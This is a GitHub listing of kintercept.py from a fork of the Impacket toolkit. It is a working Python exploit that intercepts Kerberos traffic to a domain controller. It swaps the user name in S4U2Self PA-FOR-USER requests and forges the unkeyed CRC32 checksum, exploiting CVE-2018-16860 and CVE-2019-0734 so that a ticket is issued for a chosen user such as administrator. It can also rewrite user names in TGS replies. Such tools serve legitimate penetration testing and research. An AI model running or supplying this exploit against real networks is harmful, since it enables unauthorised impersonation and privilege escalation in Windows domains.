forked from fortra/impacket
-
Notifications
You must be signed in to change notification settings - Fork 0
/
kintercept.py
executable file
·287 lines (235 loc) · 9.61 KB
/
kintercept.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
#!/usr/bin/env python
# Impacket - Collection of Python classes for working with network protocols.
#
# Copyright (C) 2023 Fortra. All rights reserved.
# Copyright (c) 2017 @MrAnde7son
#
# This software is provided under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Copyright and licensing note from kintercept.py:
#
# MIT Licensed
# Copyright (c) 2019 Isaac Boukris <[email protected]>
#
# A tool for intercepting TCP streams and for testing KDC handling
# of PA-FOR-USER with unkeyed checksums in MS Kerberos S4U2Self
# protocol extention (CVE-2018-16860 and CVE-2019-0734).
#
# The tool listens on a local port (default 88), to which the hijacked
# connections should be redirected (via port forwarding, etc), and sends
# all the packets to the upstream DC server.
# If s4u2else handler is set, the name in PA-FOR-USER padata in every proxied
# packet will be changed to the name specified in the handler's argument.
#
# Example: kintercept.py --request-handler s4u2else:administrator dc-ip-addr
#
import struct, socket, argparse, asyncore
from binascii import crc32
from pyasn1.codec.der import decoder, encoder
from pyasn1.type.univ import noValue
from impacket import version
from impacket.krb5 import constants
from impacket.krb5.crypto import Cksumtype
from impacket.krb5.asn1 import TGS_REQ, TGS_REP, seq_set, PA_FOR_USER_ENC
from impacket.krb5.types import Principal
MAX_READ_SIZE = 16000
MAX_BUFF_SIZE = 32000
LISTEN_QUEUE = 10
TYPE = 10
def process_s4u2else_req(data, impostor):
try:
tgs = decoder.decode(data, asn1Spec = TGS_REQ())[0]
except:
print ('Record is not a TGS-REQ')
return ''
pa_tgs_req = pa_for_user = None
for pa in tgs['padata']:
if pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_TGS_REQ.value:
pa_tgs_req = pa
elif pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_FOR_USER.value:
pa_for_user = pa
if not pa_tgs_req or not pa_for_user:
print ('TGS request is not S4U')
return ''
tgs['padata'] = noValue
tgs['padata'][0] = pa_tgs_req
try:
for_user_obj = decoder.decode(pa_for_user['padata-value'], asn1Spec = PA_FOR_USER_ENC())[0]
except:
print ('Failed to decode PA_FOR_USER!')
return ''
S4UByteArray = struct.pack('<I', TYPE)
S4UByteArray += impostor + str(for_user_obj['userRealm']) + 'Kerberos'
cs = (~crc32(S4UByteArray, 0xffffffff)) & 0xffffffff
cs = struct.pack('<I', cs)
clientName = Principal(impostor, type=TYPE)
seq_set(for_user_obj, 'userName', clientName.components_to_asn1)
for_user_obj['cksum'] = noValue
for_user_obj['cksum']['cksumtype'] = Cksumtype.CRC32
for_user_obj['cksum']['checksum'] = cs
pa_for_user['padata-value'] = encoder.encode(for_user_obj)
tgs['padata'][1] = pa_for_user
return bytes(encoder.encode(tgs))
def mod_tgs_rep_user(data, reply_user):
try:
tgs = decoder.decode(data, asn1Spec = TGS_REP())[0]
except:
print ('Record is not a TGS-REP')
return ''
cname = Principal(reply_user, type=TYPE)
seq_set(tgs, 'cname', cname.components_to_asn1)
return bytes(encoder.encode(tgs))
class InterceptConn(asyncore.dispatcher):
def __init__(self, conn=None):
asyncore.dispatcher.__init__(self, conn)
self.peer = None
self.buffer = bytearray()
self.eof_received = False
self.eof_sent = False
# Override recv method to handle half opened connections
# e.g. curl --http1.0 ...
def recv(self, n):
if not n:
return ''
try:
data = self.socket.recv(n)
if not data:
self.handle_eof()
return ''
else:
return data
except socket.error as why:
if why.args[0] in asyncore._DISCONNECTED:
self.handle_close()
return ''
else:
raise
def forward_data(self, data):
self.peer.buffer.extend(data)
def buffer_empty(self):
return len(self.buffer) == 0
def max_read_size(self):
space = MAX_BUFF_SIZE - min(MAX_BUFF_SIZE, len(self.peer.buffer))
return min(MAX_READ_SIZE, space)
def readable(self):
if not self.connected:
return True
return (not self.eof_received) and (self.max_read_size() != 0)
def handle_read(self):
data_read = self.recv(self.max_read_size())
if data_read:
print (str(self.fileno()) + ': recieved ' + str(len(data_read)) + ' bytes')
self.forward_data(data_read)
def handle_eof(self):
print (str(self.fileno()) + ': received eof')
self.eof_received = True
def need_to_send_eof(self):
if self.eof_sent:
return False
return self.buffer_empty() and self.peer.eof_received
def writable(self):
if not self.connected:
return True
return not self.buffer_empty() or self.need_to_send_eof()
def handle_write(self):
if not self.buffer_empty():
sent = self.send(self.buffer)
print (str(self.fileno()) + ': sent ' + str(sent) + ' bytes')
if sent:
del self.buffer[:sent]
if self.need_to_send_eof():
self.shutdown(socket.SHUT_WR)
self.eof_sent = True
print (str(self.fileno()) + ': sent eof')
if self.peer.eof_sent:
self.handle_close()
def handle_close(self):
print ('Closing pair: [' + str(self.fileno()) + ',' + str(self.peer.fileno()) + ']')
self.peer.close()
self.close()
def InterceptKRB5Tcp(process_record_func, arg):
class _InterceptKRB5Tcp(InterceptConn):
def __init__(self, conn=None):
InterceptConn.__init__(self, conn)
self.proto_buffer = bytearray()
def forward_data(self, data):
self.proto_buffer.extend(data)
while len(self.proto_buffer):
if len(self.proto_buffer) < 4:
break
header = ''.join(reversed(str(self.proto_buffer[:4])))
rec_len = struct.unpack('<L', header)[0]
print ('len of record: ' + str(rec_len))
if len(self.proto_buffer) < 4 + rec_len:
break
msg = process_record_func(bytes(self.proto_buffer[4:4+rec_len]), arg)
if not msg:
InterceptConn.forward_data(self, self.proto_buffer[:4+rec_len])
else:
header = struct.pack('<L', len(msg))
InterceptConn.forward_data(self, ''.join(reversed(header)) + msg)
del self.proto_buffer[:4+rec_len]
return _InterceptKRB5Tcp
class InterceptConnFactory:
def __init__(self, handler=None, arg=None):
self.handler = handler
self.arg = arg
def produce(self):
if not self.handler:
return InterceptConn
if self.handler.lower() == "s4u2else":
return InterceptKRB5Tcp(process_s4u2else_req, self.arg)
if self.handler.lower() == "tgs-rep-user":
return InterceptKRB5Tcp(mod_tgs_rep_user, self.arg)
class InterceptServer(asyncore.dispatcher):
def __init__(self, addr, target, icf1, icf2):
asyncore.dispatcher.__init__(self)
self.target = target
self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
self.set_reuse_addr()
self.bind(addr)
self.listen(LISTEN_QUEUE)
self.downconns = icf1
self.upconns = icf2
def intercept_conns(self, conn):
iconn1 = self.downconns.produce()(conn)
iconn2 = self.upconns.produce()()
return iconn1, iconn2
def handle_accept(self):
conn, addr = self.accept()
downstream, upstream = self.intercept_conns(conn)
downstream.peer = upstream
upstream.peer = downstream
try:
upstream.create_socket(socket.AF_INET, socket.SOCK_STREAM)
upstream.connect(self.target)
print ('accepted downconn fd: ' + str(downstream.fileno()))
print ('established upconn fd: ' + str(upstream.fileno()))
except:
print (str(conn.fileno()) + ': failed to connect to target')
downstream.handle_close()
def parse_args():
parser = argparse.ArgumentParser(description='Intercept TCP streams')
parser.add_argument('server', help='Target server address')
parser.add_argument('--server-port', default=88, type=int, help='Target server port')
parser.add_argument('--listen-port', default=88, type=int, help='Port to listen on')
parser.add_argument('--listen-addr', default='', help='Address to listen on')
parser.add_argument('--request-handler', default='', metavar='HANDLER:ARG', help='Example: s4u2else:user')
parser.add_argument('--reply-handler', default='', metavar='HANDLER:ARG', help='Example: tgs-rep-user:user')
return vars(parser.parse_args())
if __name__ == '__main__':
print(version.BANNER)
args = parse_args()
req_factory = rep_factory = InterceptConnFactory()
if args['request_handler']:
req_args = args['request_handler'].split(':')
req_factory = InterceptConnFactory(req_args[0], req_args[1])
if args['reply_handler']:
rep_args = args['reply_handler'].split(':')
rep_factory = InterceptConnFactory(rep_args[0], rep_args[1])
server = InterceptServer((args['listen_addr'], args['listen_port']),
(args['server'], args['server_port']),
req_factory, rep_factory)
asyncore.loop()